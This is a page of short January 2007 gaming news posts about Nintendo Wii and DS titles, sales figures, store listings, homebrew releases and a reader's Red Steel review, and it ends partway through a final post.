As one of the hottest launch titles here in the states, Super Monkey Ball Banana Blitz has been one of the most intuitive and easy-to-grasp titles on the system. Aside from possibly the Wii Sports compilation, there really isn't a much simpler concept than tilting a virtual world with the Will controller, and the game's inviting control and fun-loving design made Banana Blitz a title we could recommend to everyone and anyone this holiday season. Across the pond, however, there was another title that launched with Wii that boasted some ball rolling, world tilting action.
Full article at link above
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January 9th, 2007, 20:37 Posted By: wraggster
via ign
Korean online games super power Nexon announced today that it will be supporting the DS with one of its biggest PC titles. The company will be bringing Maple Story to the system for Korean release this September. A release in Japan, America and Europe has yet to be announced, but is being planned.
Nexon actually first announced support for the platform back at the G-Star games event in November of last year. Today's announcement marks the first specific mention of a game.
And what a big announcement it is. Since its release in May of 2003, Maple Story has spread throughout the world, building a large online community in the process. Different from many other online titles out of Korea, Maple Story is a side scrolling action game designed for casual gamers.
Details on the DS version were not revealed as part of this announcement. Nexon plans to cooperate with Nintendo Korea in working out what makes its way over.
This announcement comes a little over a week before the 1/18 Korean release of the DS Lite. With a major Korean franchise supporting it, the DS Lite could end up being just a hit in Japan's neighbor as it has been in Japan itself.
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January 10th, 2007, 02:07 Posted By: ICE
ok so i figure there's a lot of people out there with a wii who want to try out a fps. right now you got 3 choices: Far Cry, CoD, and Red Steel. i will be reviewing the latter.
The Story
your a guy who's girlfriend gets kidnapped and guess what. you gotta save her and for some reason you gotta protect some sword along the way.. weird right??
The Graphics
graphics would be really solid last-gen but compared to current-gen id give it a passing grade of around a 7. it really inst as bad as what people keep saying unless you're a nit-picker.
7.5
The Game play
this is where it gets good. at first it will seem like simply a generic shooter with a new control scheme and it is at first. then they give you a nifty little thing called "Focus Mode". thats where the fun is for a while at least.. it lets you, momentarily, pause everything and "tag" whatever you want. then when you exit focus mode everything you tagged gets shot. you can get some easy head shots or even shoot people's guns out of their hands causing them to surrender.
7.5
The Sound
the people say the same things over and over.... gets real annoying hearing "PUNK!!!" over and over.. nothing else really stands out besides the wii-mote making noises when you reload and crap..
6
Lasting Appeal
the game itself isn't real long but it does have multi player thats pretty darn fun so you'll keep playing it for awhile.
7.5
Presentation
lastly presentation. its got a stylish look to it and uses the pointer well. you have to drag and drop stuff to go into it which is cool at first but gets old real quick.
6
ok so in conclusion id give it an overall of 7.0 right there in the C-D range.
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January 10th, 2007, 18:57 Posted By: wraggster
via cvg
Internet reports have picked up on an interview broadcasted on Japanese television station, TV Tokyo, in which Bill Gates cites Nintendo as the biggest competitor in the latest console war.
"The strength of Nintendo has been very impressive and surprised a lot of people. And [considering] the strength of the Wii - we see Nintendo as our toughest competition", says Gates.
Sony is widely considered Microsoft's main competitor in the console market, but it appears that Nintendo's recent run of success with both the Wii and DS has incited a turnaround in outlook for the company in the battle for supremacy.
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January 10th, 2007, 19:09 Posted By: wraggster
via gibiz
Nintendo has raised its full-year profits forecast by 20 per cent, expecting net income to climb to 120 billion yen (EUR 774.9 million) for the year ending March 31st 2007.
The company raised forecasts for the DS, expecting sales of the handheld to rise 15 per cent to 23 million units, with software growing by 22 per cent, to reach 100 million games sold.
Targets for Wii software have also been raised, with Nintendo expecting to reach 21 million games for its new home console, compared to an earlier estimate of 17 million.
Hardware forecasts for Wii consoles remain at the previous target of six million units.
Nintendo now expects 900 billion yen (EUR 5.8 billion) in sales this year, compared to a forecast of 509 billion yen (EUR 3.2 billion) in October.
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January 10th, 2007, 19:09 Posted By: wraggster
via gibiz
Nintendo has raised its full-year profits forecast by 20 per cent, expecting net income to climb to 120 billion yen (EUR 774.9 million) for the year ending March 31st 2007.
The company raised forecasts for the DS, expecting sales of the handheld to rise 15 per cent to 23 million units, with software growing by 22 per cent, to reach 100 million games sold.
Targets for Wii software have also been raised, with Nintendo expecting to reach 21 million games for its new home console, compared to an earlier estimate of 17 million.
Hardware forecasts for Wii consoles remain at the previous target of six million units.
Nintendo now expects 900 billion yen (EUR 5.8 billion) in sales this year, compared to a forecast of 509 billion yen (EUR 3.2 billion) in October.
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January 10th, 2007, 19:24 Posted By: wraggster
Article from Next Gen
You probably recollect this Dragon Quest business late last year; in a move surprising to professional analysts everywhere, producer Yuji Horii (pictured) decided to go with the most popular piece of dedicated gaming hardware in generations for the next installment of the most important videogame franchise in Japan.
If people are bewildered, it's not due to the apparent rejection of Sony (whose hardware was home to the previous two chapters). After the mediocre performance of the PSP and the bad press regarding the PS3 launch, Sony has become a bit of a punching bag for the industry's frustrations. Fair or not, losing one more series – however important – hardly seems like news anymore.
In a sense, handhelds have become the new consoles and consoles have become the new arcade machines. That's not absolutely true, as handhelds still hold a unique appeal that consoles have never been able to enjoy (and vice versa). Still, it's close enough for Dragon Quest – and judging by sales numbers, for the general Japanese audience. On the third hand, the point here isn't the facts of the situation, however fascinating they might be; it's that everything has its ideal context, and that every context has a unique set of qualities to address. If the DS has taken off and the PSP hasn't – well, hey. Maybe, for all its merits, Sony kind of missed the point with that system. If handhelds are threatening to become more important than home consoles, it's because we've finally figured them out, kind of – whereas we're still struggling to make something effective out of home systems. At least now we know what to look for.
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January 10th, 2007, 19:37 Posted By: wraggster
via joystiq
Looks like reports of Wii damage aren't going away anytime soon: people are still damaging their television sets, lamps, windows, pets, and selves as they flail about living rooms designed more for lounging than energetic indoor video games.
Rather than fight it, flow with it. The KNOCK-OFF LAMP's beautiful, white polyproylene exterior echoes the Wii aesthetic, and it's made to be knocked over. At just $22.00, it's also probably cheaper than non Wii-proof lamps, too.
Screen Via Comments
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January 10th, 2007, 19:39 Posted By: wraggster
via joystiq
Now you're cooking with gas. Er, the Wii. We initially joked on that there were several games you wouldn't see on the Wii, and yes cooking was one of 'em. Now we stand corrected, because Cooking Mama actually looks ... well, delicious. Fun, too. We never thought we'd be saying that about a cooking video game, but here it is. Next up, games based on cleaning and doing your homework.
Video Here
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January 10th, 2007, 19:51 Posted By: wraggster
New from SuccessHK
Metal Slug Anthology is the definitive collection of the intense shooter series. It includes all six of the classic games, all on one disc -- with ammunition and firepower than ever before. You've got an incredible arsenal waiting for you, from destructive pistols & combat vehicles to a stockpile of grenades. Players' enemy-killing capabilities are upped to off more evil-doers in this 10th anniversary edition of an arcade classic. Includes Metal Slug, Metal Slug 2, Metal Slug X, Metal Slug 3, Metal Slug 4 and Metal Slug 5..
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January 10th, 2007, 19:52 Posted By: wraggster
New from SuccessHK
Elebits is a revolutionary game of hide and seek. What are Elebits? They're mischievous little creatures who provide the world's power. Use the innovative Wii controller to push, pull, lift and throw anything in the environment as you attempt to track down these playful little creatures. As they capture Elebits, players will be able to further interact with the environment, using them to provide power to different implements that will help them in their search.
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January 10th, 2007, 19:54 Posted By: wraggster
New from SuccessHK
Far Cry delivers the great shooter action from the game series - Wii entry in the franchise offers a fresh storyline, new maps, characters and equipment. Jack Carver discovers an incredibly deadly secret -- and he'll have to fight to get away with that secret alive. You'll use the Wii Remote to drive, shoot, slash, jump and climb your way through a rebel-infested tropical hell. Wide-open gameplay - Nonlinear game choices and diverse possibilities add to the action
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January 10th, 2007, 19:57 Posted By: wraggster
New from SuccessHK
Duel together with your Spirit! Cahllenge duelists worldwide. Using the Nintendo Wi-Fi connection, you can battle duelists all over the world!
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January 10th, 2007, 20:03 Posted By: wraggster
Newly restocked Gamecube game at
SuccessHK
Mario Baseball delivers terrific arcade sports gaming, combined with classic Mario game action! All the challenges of the popular sport combined with the weird, wacky fun of Mario's world come together, for laughs and thrills.
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January 10th, 2007, 20:04 Posted By: wraggster
Newly restocked Gamecube game at SuccessHK
Super Mario Sunshine takes Mario and Peach to beautiful Sunshine Island, for a much-needed vacation -- until a graffiti artist dressed like Mario goes around vandalizing the place!
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January 10th, 2007, 20:08 Posted By: wraggster
Newly restocked Gamecube game at SuccessHK
Super Mario Strikers is a new soccer game that's unlike anything ever to hit the pitch! You'll combine classic Mario gameplay with real soccer fun -- whether you freeze an opponent with an ice-cold shell, kicking over a spiny shell or scaring off an entire team with the roving Chain Chomp, you're sure to see something new around every corner kick.
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January 10th, 2007, 20:11 Posted By: wraggster
Newly restocked Gamecube game at SuccessHK
Mario Party 7 brings back the party fun, as you kickstart the party with Mario and his friends! Set up your controllers and prepare for fun, as you run, jump, swim and fly through more than 80 new minigames. The party's a lot bigger now, too -- up to 8 players can battle each other!
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January 10th, 2007, 20:13 Posted By: wraggster
Newly restocked Gamecube game at SuccessHK
Harvest Moon: A Wonderful Life gives you the ultimate role-playing challenge -- take a simple farm boy and help him build a happy, successful life!
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January 10th, 2007, 20:15 Posted By: wraggster
Newly restocked Gamecube game at SuccessHK
Crash Tag Team Racing combines a vehicular combat and racing game with the wild fun of a Crash Bandicoot game! Cortex hatches an evil, overly-complex plan to challenge Crach to a seemingly-friendly race at a condemned theme park... with plans of destroying the hapless bandicoot once and for all.
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January 10th, 2007, 20:16 Posted By: phoebus
modrobert at eurasia.nu writes: "I just got word that the team behind the successful xenoGC and later xenoGC 2.0 now have a working drivechip for Wii which should be released soon. No further info available at the moment, not even a name, but my guess is xenoWii. "
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January 10th, 2007, 20:37 Posted By: wraggster
via wiidamage
It’s Christmas morning in the Mann household in Wisconsin, USA. Santa has brought the best present of all - a rare-as-hen’s-teeth Nintendo Wii - for the children to share and enjoy. In preparation, the family has bought a whopping 70-inch rear projection TV for their front room. As we predicted, this family didn’t wait for their replacement straps to arrive…
Karlee Mann (14) sat by while her cousin Bryce (also 14) dominated the initial few games of Wii Sports Tennis. When Bryce finally gave in to her protests, the heady mix of frustration, adrenalin, anticipation and family rivalry proved too much. In an instant the remote slipped from her hands, the weak Gen 1 strap failed to catch the escaping projectile, and the Mann’s $4500 TV took a clean bullet to the head. Oops.
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January 10th, 2007, 20:46 Posted By: wraggster
via wiifanboy
Some new trailers showcasing a pair of the minigames to be included in Wii Play have hit Game Trailers and, like the trusty internet vacuums we are, have gathered and embedded them for your viewing pleasure. The first trailer, which is labelled as Tank Combat, shows just that! The second trailer shows us the fishing minigame, which reminds us a lot of a game we used to play as kids, involving fishing rods with magnets and gathering ducks in a pool of water (the name escapes us and Google is being no help).
Trailers at link above
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January 10th, 2007, 20:48 Posted By: wraggster
via wiifanboy
People have speculated for quite some time on what out-of-company characters would be joining Solid Snake in the upcoming Super Smash Bros: Brawl. Sonic was an obvious choice, of course, but check out the above picture, seen in the Swedish Nintendo mag +N.
Yes, readers, we know, it's still quite dubious. Still, we can't resist such a beauty of a rumor. Now we just need a NiGHTs 2 confirmation, Goldeneye on the virtual console, and the ability for the Wii to hack into our brains and overwrite our senses with direct input from the game.
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January 10th, 2007, 20:52 Posted By: wraggster
via wiifanboy
With a little bit of imagination and the knowledge that people are obsessed with the Wii, some fine folk decided they would like to do everyone the service of making custom Mii buttons. These buttons feature your Mii's face, along with Wii console number, in the hopes that you'd hand them out to people and make more friends.
You can see the final product of their hard work over at the site, and to be honest they turned out good! Now, we aren't about to give this a go ourselves (we're paid in beatings here at Wii Fanboy), but are any of you out there looking to get yourself some Mii buttons?
More Info
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January 10th, 2007, 21:55 Posted By: wraggster
Apparently the Japanese console consumers are sinking their teeth into the modest Wii and are not as interested in the power-packed PS3. In fact, the Wii is outselling Sony's new console by a factor of almost 2:1. The number of PS3s sold into the Japanese market (466,716) falls well short of the million Sony had planned for the end of 2006. 989,118 Wii consoles have been sold in Japan in the same time span. From the article: 'Both Sony and Nintendo are projecting selling 6 million consoles by the end of March. Sony expects to start shipping the PS3 to Europe sometime that month as well. Straggling far behind Sony and Nintendo in the Enterbrain survey was Microsoft's Xbox 360, which had sold 290,467 since its Japan debut in December 2005. Selling machines in large numbers is crucial in the gaming business because it encourages software companies to make more games to play on the machines, which in turn boosts console sales.
via /.
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January 10th, 2007, 21:58 Posted By: wraggster
via gamespot
The Warlords franchise is set to conquer new territory. Strategy First today announced that it will be bringing the classic series of PC turn-based strategy games (not to be confused with the arcade game of the same name) to the Nintendo DS.
Strategy First has entrusted developer Glyphic Entertainment with the task of bringing the franchise to the portable intact, and the current features list suggests the studio will retain some of the series' most familiar components. Warlords DS will support turn-based hotseat or Wi-Fi play for up to eight players, with 20 premade scenarios to play through and randomized maps to keep things fresh.
Gamers will be able to produce 28 different types of armies, as well as access statistics for each battle that show the balance of power and military strength as it tips with each passing turn. And while there are economic and diplomatic aspects of the gameplay, the game's main focus is on combat. Strategy First is also promising artificial intelligence that will be able to challenge veteran gaming generals, as well as a tutorial system with a military advisor that can ease newer strategy fans into the action.
Warlords is the third offering in Strategy First's catalog of upcoming releases, joining the previously announced Jagged Alliance 2 and Disciples II.
Now someone bring Warcraft and Starcraft to DS
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January 10th, 2007, 22:15 Posted By: wraggster
via joystiq
Ruliweb has posted several images of the Korean-specific DS soon to be released on January 18. It should be interesting to see how well the DS, and upcoming Wii, can ultimately do in the MMO loving country. And could Nintendo be as ambitious for Korea as Microsoft is for Brazil?
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January 10th, 2007, 22:23 Posted By: wraggster
A new release of WiiCR has happenned today, heres the info and whats new:
WiiCR is a media player solution for the Nintendo Wii. It acts as a streaming media server and is capable of transcoding nearly any video file to a suitable flv for an embedded flash player. It allows browsing of the remote filesystem to view: videos (avi/xvid/divx/mpeg/wmv/etc), text files, jpg's and play mp3s.
Version 0.3.1.1
Shoutcast station browsing improved alot.
Download Here --> http://downloads.sourceforge.net/wmc/
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January 10th, 2007, 22:24 Posted By: wraggster
via IGN
Konami's support for both the PS3 and Wii appears to have taken a major hit. The release list in the latest issue of Famitsu reveals reveals that a number of next generation titles previously announced by the company are no longer in development.
Here's the full list of cancelled titles.
Gradius Series (PS3)
Jikkyou Powerful Pro Baseball (PS3)
New Action Game (PS3)
New Role Playing Game (PS3)
New Action Adventure Game 2 (Wii)
Role Playing Game (Wii)
With those titles gone, Konami's Wii and PS3 lineup reads as follows:
Pro Baseball Spirits Series (PS3)
Metal Gear Solid 4 (PS3)
World Soccer Winning Eleven Series (PS3)
Music Simulation Game (Wii)
New Action Adventure Game (Wii)
Sports Game -- Soccer (Wii)
Sports Game -- Baseball (Wii)
So what happened? Sadly, the magazine provides no details. However, you'll notice that none of the the cancelled games have actual names yet. It's possible that Konami had intended to make the games, but decided to go in a different direction.
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January 10th, 2007, 22:27 Posted By: wraggster
via gonintendo
PAL Wii owners sitting down (or should I say standing?!) for some game time are being greeted with a Wii update. This update appears to bring the Wii from version 2.0 to 2.1. As of posting this story, there is no such update in the US. That may change by the time I wake up! So far, no one can figure out just what the update does. There are a number of small issues that the update could be targeted at. Perhaps we will hear from Nintendo on this subject later in the day. Thanks to Feanor & Vooks for the heads up!
Heres whats new:
The weather channel says that it needs connect 24/7 after I only disabled ’standby internet’.
The video output stays on with RGB cables in ‘orange mode’. This means that any other signal on de video channel(s) on the TV are suppressed.
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January 10th, 2007, 22:50 Posted By: wraggster
via dsfanboy
By way of Jeux-France, we've got some new images of Wario: Master of Disguise to present. These new shots, obviously, give you a look at all of Wario's kickass costumes, which give him a whole bunch of different abilities.
We found out, while watching the recent Japanese commercial for the game, that one needs to use the stylus to transform Wario into his different forms.
Screens Here
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January 10th, 2007, 22:54 Posted By: wraggster
via siliconera
I’m not sure whether I should call this brilliant or useless, but this DS game case actually holds three DS games plus a GBA game. The cover art for the Hyper Carrying Case has some familiar mascots. Doraemon is in the center and Rockman of the Stars is to the right of him. While this looks like a bootleg it isn’t, Shogakukan is selling the Hyper Carrying Case in Japan for 480 yen ($4) a piece.
Screen Via Comments
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January 10th, 2007, 22:56 Posted By: wraggster
via dsfanboy
We have yet to see the episode in question where Dr. House rocks the DS above, but we wonder why he didn't choose to go with a DS Lite. Maybe he just enjoys conflict so much that he feels the need to go with the Phat so that upon any inquiries as to why he is not using the sleeker, newer version of the dual-screen handheld, he can begin a rant breaking down the inquisitive individual. Or maybe it's the young lady's and he just wanted to check it out? Regardless of how it came into play, we're glad Nintendo's handheld got some screen time on one of TV's best shows
Screen Via Comments
Its also Wraggys favourite show
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January 10th, 2007, 23:01 Posted By: wraggster
News/release from Tails:
Presentation:
Avoid 'EM all is a “dodging them all” (not, without jokes ) where you must, armed with your stylet, to avoid the balls who break on your red square.
The goal of the play is to make best time.
The rain of ball accelerates during your performance, and you will have the possibility of collecting two types of no-claims bonus in order to help you to hold longest!
History:
Version 1.0: 10/01/07
Initial Release
How to play:
Once you pressed on the touch screen, you control a red square which you must at all costs prevent from being made touch by the white particles which fall from the higher screen.
The jouability is with simplest: to move on the touch screen will make move your square at this place.
On the screen time like your life is presented.
Time indicates your time of survival quite simply.
The life, as opposed to what one could believe, does not make it possible to in no case to be able to be caught particles of time to other. This gauge decreases gradually if you are in one on the two sides of the touch screen:
A co-ordinate in 0 or 255 (all on the left or all on the right) will entrainera the reduction in your life. If it reaches 0, you lose.
This system was set up in order to prevent from camping on the edges of the screen.
No-claims bonus:
Interesting part of the play, the no-claims bonus are of two kinds:
Green particles: The play passes in mode slows down for one duration indicated in top of the lower screen. You can then better locate you when there are many particles. You can be made touch in this mode.
Red particles: You become invincible! The one moment space (indicated in top of the lower screen) you can be made touch by any particle without losing the part. Effective at the time of high performances, but still is necessary it to succeed in catching it. You cannot touch the edges of the screen without losing life, it is a closed area!
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January 10th, 2007, 23:09 Posted By: wraggster
News/release from pouer256
Presentation:
Veiled it is great classic power 4 relates to the ds.
History:
- Beginning of January 2007: making of contact with ass itch for the gfxs
January -5, 2007 first version finished does not contain the checking.
January -10, 2007 addition of the checking and the development of the gaining tokens.
January -10, 2007: First version available on Player Advance.
How to play:
- To touch the colone where you want to put your token with the stylet.
- To support on does not matter that it touches or U rl' touch screen at the end of the part to start again one of them.
To come:
- To modify graphics so that is more “pretty”
- Can be a IA if I have time and if is not too hard.
- Addition of better sounds.
- Addition of a menu.
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January 10th, 2007, 23:15 Posted By: wraggster
News from the Command And Conquer DS Clone Project :
Just thought I'd post what part of the game I'm working on right now... and it's the game! That's right I'm now starting to make headway into the actual game core, even though it's early days. The concepts of players (whether AI or human), armies, units, buildings, tech trees and more have been coded in. While I'm working on the game code I'm adding a VERY simplified rendering routine for it which basically involves coloured blocks. This will gradually be replaced by nice graphics as the game progresses. I still think the hardest part of this project will be to squeeze in all those nice graphics on the poor little DS, but it'll be a fun challenge.
I'm now starting work on the path finding, which is a very important part of an RTS. So far I think I'll go for the tried and tested A* technique with a heuristic friendly to a low memory/cpu environment. I'm looking at ways of sharing A* work between groups of units given the same destination to save CPU time and also ways of breaking up the task over consecutive frames.
This is the part of the project I've been really looking forward to, until now putting the framework in has largely been a pain, but actually writing the game is the fun part Oh and don't worry, I'm writing the code with network support in mind from day one. Though it won't be WiFi enabled for a good while yet I'm taking the first steps in that direction now.
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January 10th, 2007, 23:53 Posted By: wraggster
via ign
Cake Mania is a port of the original PC game and the Back to the Bakery expansion pack. The game puts you in charge of running a cake shop, which means you'll be taking orders from customers, baking cakes, collecting money, and buying supplies. The DS version is controlled with the stylus and is mostly a matter of pointing to the people/objects you want to interact with.
The story in the first game involves trying to save your grandparents' cake shop from going out of business. In Back to the Bakery, you're traveling the world trying to win an international baking contest. While no multiplayer is available, with 84 levels in all the single-player should keep you busy bakin'.
The PC version of Cake Mania.
As gameplay starts customers walk up to the counter and place a cake order. They'll specify the size, color, and shape of cake they want, and it's up to you to get them what they ask for. It'll take a few moments to bake each cake, during which time more customers might enter and place more orders. The game is an exercise in multitasking, as you'll have to work quickly while maintaining accuracy.
Your customers' happiness is represented by the number of hearts above their head. The more hearts they've got, the happier campers they are. Customers range from Average Joes to Cupid and Santa Claus.
Each level has a monetary goal you need to reach, and once you do you'll progress to the next stage. You'll also be able to buy kitchen upgrades when you have enough cash.
Action is handled on the touch screen with the stylus. Touch a customer to take their order, then touch the right ingredients to make their cake. The top screen is your view from behind the counter. Customers will be staring you down while waiting for their orders, and their hearts will decrease if you take too long.
Cake Mania has been popular on PC, and it could be a good fit for the DS. Majesco is offering two full games in this package for $19.99, so it stands to be a promising budget title.
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January 11th, 2007, 01:10 Posted By: wraggster
The Nintendo Wii via the Virtual Console can play Nes, Nintendo 64, Super Nintendo, Sega Genesis and TurboGrafx-16. It can also play Gamecube games and even Gamecube Homebrew.
Now tonight having tested myself i can reveal to you all that GBA Games work on the Nintendo Wii via the Gamecube Port.
Now how does that work you ask, well a few years ago Datel released the Advance Game Port a device that plugs into your Gamecube Memory card slot and you then plug your GBA Games into that and play them on the big screen.
Firstly you need some items to do this, heres what you need:
An action replay kit for GC
The Action Replay for Gamecube will set you back around $25 but as well as being the device needed to boot homebrew its also a Region Free Gamecube Boot Disc and Cheats Device, well worth the cost.
If Play Asia above dont have the Action Replay for Gamecube in stock try, Divineo Germany, Divineo France and also Divineo Spain
An Advance GamePort for GC
Now not many shops still have the Advance Game Port but ive tonight contacted Datel and have asked if they will do a rerun of the product. Ebay, Amazon etc might be your best option.
OK Lets go
Heres the instructions
First Boot up your Nintendo Wii
2nd Insert the Action Replay for Gamecube Disc
Next go to the Freeloader Option on the Action Replay
Use that to boot the Advance Gameport Disc (Boot Disk)
Plug in the Advance Gameport
Plug a GBA Game into the Advance Gameport
Finally boot it up
Then hey presto youll be playing your favourite GBA Game or even GBA Homebrew/Emulator for GBA on your Nintendo Wii and thats without the need to hack your hardware.
Do make sure your using the Action Replay with Built in Freeloader.
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January 11th, 2007, 01:47 Posted By: wraggster
JimmyL has updated his game Explosive Gas for the Nintendo DS, its now at v0.4, heres whats new:
I finally got around to cleaning up a bunch of the bugs and to adding some of the features that had been planned for the initial release but didn't make it in because of the deadline for the contest. So now get ready for a version of Explosive Gas with almost completely destructable environments and with bombs that can ride elevators! Unlike before, This version isn't backwards compatible with the older versions, so I recommend everyone upgrade to increase the odds of two or more people finding each other online...
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January 11th, 2007, 03:45 Posted By: gunntims0103
news via blog.wired
Another Taito franchise moves to Wii, courtesy Majesco. Everybody loves Bust-a-Move, even if you're a broke college student and you only know it as "Snood". Bust-a-Move for Wii brings all the modes you remember, from the regular ol' arcade mode to the puzzle stages, adds a dash of motion control, then caps off the whole thing with a crazy eight-player mode.
Yeah, you heard me -- eight players. Wii doesn't support eight Wiimotes at once, but if you're willing to get up close and personal with your fellow geeks, all you need are four nunchuk attachments. We didn't try that particular feature out, but we did make the other six players computer-controlled, and let me tell you, eight-player Bust-a-Move is nuts. By that point, there's very little point in actually aiming the bubbles that you're blasting -- just shoot at the UFOs that cross the screen, and when there aren't any, launching a volley of bubbles in any direction and crossing your fingers can be the way to go.
Motion control works well -- within a couple of seconds you won't even be thinking about it anymore; your cursor will just be going right where your brain wants it to. I was impressed, even though it's a simple thing. Well, not that simple, to which anyone who's used Super Monkey Ball's menu screen can attest.
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January 11th, 2007, 03:47 Posted By: gunntims0103
news via gamespot
Koei confirms new name, region for Samurai Warriors spin-off Sengoku Musou Wave.
Swordfighting with the Wii Remote holds a natural appeal, if the sales of The Legend of Zelda: Twilight Princess and Red Steel on the system are any indication. Now US gamers done with those hits and yearning for additional slicing and dicing have more to look forward to than Cooking Mama. A Koei representative today confirmed for GameSpot that the latest installment in the company's Samurai Warriors line of games will be released in the US.
Introduced at Nintendo's 2006 Electronic Entertainment Expo kickoff conference as Sengoku Action and later dubbed Sengoku Musou Wave, the game will have a more Western moniker when it debuts in the US as Samurai Slash. Few details are known, but the game is played from a first-person perspective and lets players use the Wii Remote to take out rushing opponents with projectile and melee attacks.
Samurai Slash is scheduled for release later this year.
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January 11th, 2007, 03:52 Posted By: gunntims0103
news via 1up
Here's another entry from the realm of useless-but-interesting mods: fusing a Game Boy Advance to a Wii, so that you can play Wii Sports and Zelda on those long plane rides. Battery pack, passenger safety equipment not included.
OK -- so really it's just a modder who thought to splice the Wii's video output into a GBA's tiny little display. Nevertheless, science doesn't need a reason to do crazy stuff. That's why it's science!
find video of the Wii-playin' GBA here
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January 11th, 2007, 17:29 Posted By: wraggster
via cvg
After months of almost worrying silence from Nibris since announcing the game Sadness for Wii, the developer has has finally open piped up with firm details about Sadness and word that it is working on a further two games for Nintendo systems.
According to cubed3.com, Nibris has confirmed a Wii version of Raid over the River, an up-scrolling shooter previously announced for DS. The two versions will apparently link with each other, presumably using the wi-fi capabilities of the Wii and DS consoles, although Nibris is keeping tight-lipped on what features this will offer.
According to the site, Nibris is also working on a new shooter-come-puzzle game for DS called Double Bloob, in which players have to destroy different coloured Bloobs (we like bloobs).
Although Cubed3 says both the Wii and DS versions of Raid over the Moon will strangely "launch Q3 2008", last word from Nibris suggested an early 2007 release for the DS version.
Release dates for Double Bloob and Sadness remain to be confirmed, but CVG has contacted Nibris regarding the matter and awaits a reply. Lets hope they don't go AWOL for another six months.
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January 11th, 2007, 17:29 Posted By: wraggster
via cvg
After months of almost worrying silence from Nibris since announcing the game Sadness for Wii, the developer has has finally open piped up with firm details about Sadness and word that it is working on a further two games for Nintendo systems.
According to cubed3.com, Nibris has confirmed a Wii version of Raid over the River, an up-scrolling shooter previously announced for DS. The two versions will apparently link with each other, presumably using the wi-fi capabilities of the Wii and DS consoles, although Nibris is keeping tight-lipped on what features this will offer.
According to the site, Nibris is also working on a new shooter-come-puzzle game for DS called Double Bloob, in which players have to destroy different coloured Bloobs (we like bloobs).
Although Cubed3 says both the Wii and DS versions of Raid over the Moon will strangely "launch Q3 2008", last word from Nibris suggested an early 2007 release for the DS version.
Release dates for Double Bloob and Sadness remain to be confirmed, but CVG has contacted Nibris regarding the matter and awaits a reply. Lets hope they don't go AWOL for another six months.
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January 11th, 2007, 17:41 Posted By: wraggster
via cvg
Game controller technology is a major factor in the development of videogaming, reckons id Software's John Carmack.
"For years, I've been saying ... how IO [input/output] devices are where the really big differences are going to be made in gaming," Carmack said in an interview with Game Informer, when asked about game development for Wii.
"You can get ten times the graphics power, and you can make a prettier picture, but when somebody makes a new IO device that really changes the way that people interact with the game, that's going to have a larger benefit there.
"So I'm really pleased with what they're (Nintendo) doing with the Wii and with the DS-and they're doing innovative things," he added.
But don't get too excited, Wii fans, because there seems to be no chance of Quake coming to Wii: "But our current generation of game technology is not targeted at the Wii. Maybe that was a mistake on our part originally, but we have been looking strictly at the 360, PS3 and PC as what we want to simultaneously develop on. We probably aren't going to be able to hit the Wii with the same technology platform."
Carmack also revealed a keen interest in taking Wolfenstein to the big screen: "One of the things we're working on now, although the rights are currently all back with us, with Wolfenstein in development there's interest in a Wolfenstein movie."
Let's hope it turns out better than the Doom movie.
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January 11th, 2007, 17:42 Posted By: wraggster
via cvg
Extended versions of The Godfather game previously released on Xbox, Xbox 360 and PS are on their way to the Wii and PS3, with extra content and enhanced controls.
The Godfather The Don's Edition is the name of the version coming to PS3 whilst the Wii game will be titled, The Godfather Blackhand Edition.
Both games will feature new missions, new ways to find dirty cops for your dodgy deals, and the added ability to follow the path of either an Enforcer or Operator, offering you different "perks and abilities".
The Don's Edition on PS3 will also have new Shipyard and Rail yard transportation hubs which will presumably increase mobility throughout the city, whilst the Blackhand Edition on Wii will have you swinging the Remote and Nunchuk to fight, and pointing the Remote like a gun to shoot your enemies.
The already-released Godfather game is a decent urban-gangster romp and, even though it's been out for a while already, with the new features added these versions, they could be well worth a look for Wii and PS3 owners this spring.
Both games are due in March in the US, and presumably shortly after in UK.
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January 11th, 2007, 17:45 Posted By: wraggster
via cvg
Gunpey, the puzzle-music game on PSP and DS, has been picked up by Atari which will publish the game in Europe in March.
The colourful puzzle game has players flip rising panels, lining up the markings within the panels to make them explode before they reach the top of the screen. Confused? Check out the DS and PSP screens below.
Both games feature wireless link-up for multiplayer gaming, and platform-exclusive content includes 40 interchangeable skins for the PSP version, while the DS version boasts extra special moves that temporarily disrupt your opponent's screen in versus games, and the option to create your own music.
Screens Via Comments
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January 11th, 2007, 18:00 Posted By: wraggster
via gamespot
Gothic publisher JoWood has announced it has appointed Pinnacle Software to exclusively distribute its titles in the UK. Among the first titles to be released are the ski sim Alpine Ski Racing 2007, the extreme sports game Freak Out - Extreme Freeride, and the counterterrorist shooter The Mark.
Pinnacle Software was founded in 1992 and is a wholly owned subsidiary of Pinnacle Entertainment. JoWood's UK sales director, Richard Grantham, said, "We have now established a clear route into the UK marketplace...Pinnacle has an excellent reputation for product distribution and sales."
The list of JoWood titles due for release in the UK in 2007 include:
Agatha Christie: Murder on the Orient Express (PC)
Freak Out - Extreme Freeride (PSP, PC, PS2)
Alpine Ski Racing 2007 (PC, PS2)
The Mark (PC)
Flyboys (PC)
Lifesigns: Hospital Affairs (DS)
Neighbours From Hell (DS)
Painkiller (PSP, PS2)
AquaNox: The Angels Tears (PS2)
Atlantis Collector's Edition--The New World and Evolution (PC)
Dungeon Lord Collector's Edition (PC)
Egypt Collector's Edition--The Heliopolis Prophecy and The Fate of Ramses (PC)
Genesis Rising: The Universal Crusade (PC)
Jules Verne Collectors Edition--Voyage and Mysterious Island (PC)
Patriots: A Nation Under Fire (PC)
Safecracker (PC)
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January 11th, 2007, 18:08 Posted By: wraggster
via gamesradar
If you thought making dinner in real life was a blast, wait 'til you see what you can do on a console. Publisher Majesco is bringing Cooking Mama: Cook Off to Wii later this year and we have a healthy dose of new screens to serve.
Game designers are determined to use the Wii-mote to mimic just about every bodily motion or mundane activity we partake in on a daily basis and turning it into big fun - and Cooking Mama looks to be no different.
Rather than being a 'Wii-make' like the Trauma Center port from DS, Cook Off was built from the ground up to satisfy multiple cooks in the kitchen. For the Wii version, you'll hold the Wii-mote in different yet completely natural ways to slice, chop, grate and stir your meals to make everything from international dishes to desserts.
Also new to Cook Off is a Cooking Challenge mode which pits you and a friend against each other, letting you satisfy your MasterChef desires in your living room
Screens at link above
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January 11th, 2007, 18:20 Posted By: wraggster
Via Kotaku
Newsweek's N'Gai Croal pinged us with his take on how the iPhone will shake things up. He blogs:
